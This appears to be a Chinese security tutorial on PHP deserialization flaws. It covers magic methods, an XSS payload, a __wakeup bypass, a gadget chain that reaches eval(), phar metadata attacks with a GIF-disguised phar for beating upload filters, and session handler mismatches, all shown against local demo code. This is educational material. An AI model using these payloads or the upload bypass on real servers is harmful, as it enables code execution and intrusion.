0x00 前言
php程序为了保存和转储对象,提供了序列化的方法,php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。
php序列化的函数为serialize。反序列化的函数为unserialize
0x01 序列化与反序列化
序列化
利用serialize()
函数将一个对象转换为字符串形式
<?php
class test
{
public $name = "0xdawn";
public $age = "20";
}
$a = new test();
$a = serialize($a);
print_r($a);
?>
得到的结果为:
O:4:"test":2:{s:4:"name";s:6:"0xdawn";s:3:"age";s:2:"20";}
pravite和protected成员的序列化
<?php
class test
{
public $name = "0xdawn";
private $age = "20";
protected $sex = "man";
}
$a = new test();
$a = serialize($a);
print_r($a);
?>
得到的结果为:
O:4:"test":3:{s:4:"name";s:6:"0xdawn";s:9:"testage";s:2:"20";s:6:"*sex";s:3:"man";}
private
private属性序列化的时候格式是%00类名%00成员名
,所以结果为s:9:"%00test%00age"
protected
protected属性序列化的时候格式是%00*%00成员名
,所以结果为s:6:"%00*%00sex"
反序列化
<?php
class test
{
public $name = "0xdawn";
private $age = "20";
protected $sex = "man";
}
$a = new test();
$a = serialize($a);
print_r($a);
$a = unserialize($a);
print_r($a);
?>
注意:public
、private
、protected
变量在反序列化的时候是有区别的
魔术方法
__construct():当一个对象创建时被调用
__destruct():当一个对象销毁时被调用
__toString():当类被当成字符串时调用
__sleep():执行serialize时,会先调用这个函数
__wakeup():执行unserialize,会先调用这个函数
__call():在对象中调用一个不可访问方法时调用
__callStatic():用静态方式中调用一个不可访问方法时调用
__get():获得一个类的成员变量时调用
__set():设置一个类的成员变量时调用
__isset():当对不可访问属性调用isset()或empty()时调用
__unset():当对不可访问属性调用unset()时被调用
__invoke():调用函数的方式调用一个对象时的回应方法
__set_state():调用var_export()导出类时,此静态方法会被调用
__clone():当对象复制完成时调用
__autoload():尝试加载未定义的类
__debugInfo():打印所需调试信息
<?php
class test{
public $a='hacked by 0xdawn';
public $b='hacked by admin';
public function pt(){
echo $this->a.'<br />';
}
public function __construct(){
echo '__construct<br />';
}
public function __destruct(){
echo '__destruct<br />';
}
public function __sleep(){
echo '__sleep<br />';
return array('a','b');
}
public function __wakeup(){
echo '__wakeup<br />';
}
}
//创建对象调用__construct
$object = new test();
//序列化对象调用__sleep
$serialize = serialize($object);
//输出序列化后的字符串
echo 'serialize: '.$serialize.'<br />';
//反序列化对象调用__wakeup
$unserialize=unserialize($serialize);
//调用pt输出数据
$unserialize->pt();
//脚本结束调用__destruct
?>
输出结果如下:
__construct
__sleep
serialize: O:4:"test":2:{s:1:"a";s:16:"hacked by 0xdawn";s:1:"b";s:15:"hacked by admin";}
__wakeup
hacked by 0xdawn
__destruct
__destruct
0x02 php反序列化
Demo1:基础漏洞
<?php
class A
{
public $test = "demo";
function __destruct()
{
echo $this->test;
}
}
$a = $_GET['value'];
$a_unser = unserialize($a);
?>
利用这个反序列化代码,将需要使用的代码序列化后传入
<?php
class A
{
public $test = "hacked by 0xdawn";
}
$a = new A();
$a = serialize($a);
print_r($a);
?>
//O:1:"A":1:{s:4:"test";s:16:"hacked by 0xdawn";}
也可以拿来xss
http://127.0.0.1/Myphp/demo1.php?value=O:1:"A":1:{s:4:"test";s:42:"<script>alert('hacked by 0xdawn')</script>";}
Demo2:反序列化传参
<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);
payload:
<?php
$a = "D0g3!!!";
$a = serialize($a);
echo $a;
?>
//s:7:"D0g3!!!";
Demo3:绕过wakeup
unserialize()
会检查是否存在一个 __wakeup()
方法。如果存在,则会先调用 __wakeup()
方法
反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()
的执行
<?php
class xctf
{
public $flag = '111';
public function __wakeup()
{
exit('bad requests');
}
}
$a = new xctf();
print(serialize($a))
?>
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
//O:4:"xctf":2:{s:4:"flag";s:3:"111";}
Demo4:同名方法
<?php
class A{
public $target;
function __construct(){
$this->target = new B;
}
function __destruct(){
$this->target->action();
}
}
class B{
function action(){
echo "action B";
}
}
class C{
public $test;
function action(){
echo "action A";
eval($this->test);
}
}
unserialize($_GET['test']);
?>
class B
和class C
有一个同名方法action
,我们可以构造目标对象,使得析构函数调用class C
的action
方法,实现任意代码执行。利用代码如下:
<?php
class A{
public $target;
function __construct(){
$this->target = new C;
$this->target->test = "phpinfo();";
}
function __destruct(){
$this->target->action();
}
}
class C{
public $test;
function action(){
echo "action C";
eval($this->test);
}
}
echo serialize(new A);
?>
//O:1:%22A%22:1:{s:6:%22target%22;O:1:%22C%22:1:{s:4:%22test%22;s:10:%22phpinfo();%22;}}
http://127.0.0.1/Myphp/Demo4.php?test=O:1:%22A%22:1:{s:6:%22target%22;O:1:%22C%22:1:{s:4:%22test%22;s:10:%22phpinfo();%22;}}
0x03 phar反序列化
首推Hu3sky学长的初探phar://
phar文件简介
phar
是一个合成词,由PHP
和 Archive
构成,可以看出它是php
归档文件的意思(简单来说phar
就是php
压缩文档,不经过解压就能被 php
访问并执行)
phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
phar文件结构
-
stub
phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容
-
manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方
-
content
被压缩文件的内容
-
signature
签名,放在末尾
这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>
结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者其它文件来绕过一些上传限制;二是反序列化,phar
存储的meta-data
信息以序列化方式存储,当文件操作函数通过phar://
伪协议解析phar
文件时就会将数据反序列化,而这样的文件操作函数有很多
生成phar文件
php内置了一个phar类来处理相关操作
注意:这里要将php.ini里面的phar.readonly
选项设置为Off
,并把分号去掉
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='0xdawn';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
访问后,会在当前目录下生成一个phar.phar文件
用winhex打开
可以看到meta-data是以序列化的形式存储的,有序列化数据必有反序列化操作。php一大部分的文件系统函数在通过phar://
伪协议解析phar文件时,都会将meta-data进行反序列化,受影响的函数如下:
phar_fan.php
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>
输出:0xdawn
将phar伪造成其他格式的文件
在前面分析phar
的文件结构时可能会注意到,php
识别phar
文件是通过其文件头的stub
,更确切一点来说是__HALT_COMPILER();?>
这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar
文件伪装成其他格式的文件
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
采用这种方法可以绕过很大一部分上传检测
利用条件
- phar文件需要上传到服务器端
- 要有可用的魔术方法作为跳板
- 文件操作函数的参数可控,且’:’、’/’、'phar’等特殊字符没有被过滤
0x04 session反序列化
php.ini配置
php.ini
中有如下六个相对重要的配置
session.save_path="" --设置session的存储位置
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字,默认使用php
session.upload_progress.enabled --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup --读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用
如phpstudy
下上述配置如下:
session.save_path = "/tmp" --所有session文件存储在/tmp目录下
session.save_handler = files --表明session是以文件的方式来进行存储的
session.auto_start = 0 --表明默认不启动session
session.serialize_handler = php --表明session的默认(反)序列化引擎使用的是php(反)序列化引擎
session.upload_progress.enabled on --表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup on --表明所有POST数据(即完成上传)后,立即清理进度信息($ _SESSION变量)
在上述配置中,session.serialize_handler
是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。
- php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
- php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
- php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');
。示例代码如下:
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something
session存储机制
php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler
来进行确定的,默认是以文件的方式存储。 存储的文件是以sess_sessionid
来进行命名的,文件的内容就是session值的序列化之后的内容。
php处理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
php_binary处理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>
php_serialize处理器
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
session反序列化漏洞利用
人有点懵,参考链接:https://xz.aliyun.com/t/6753#toc-11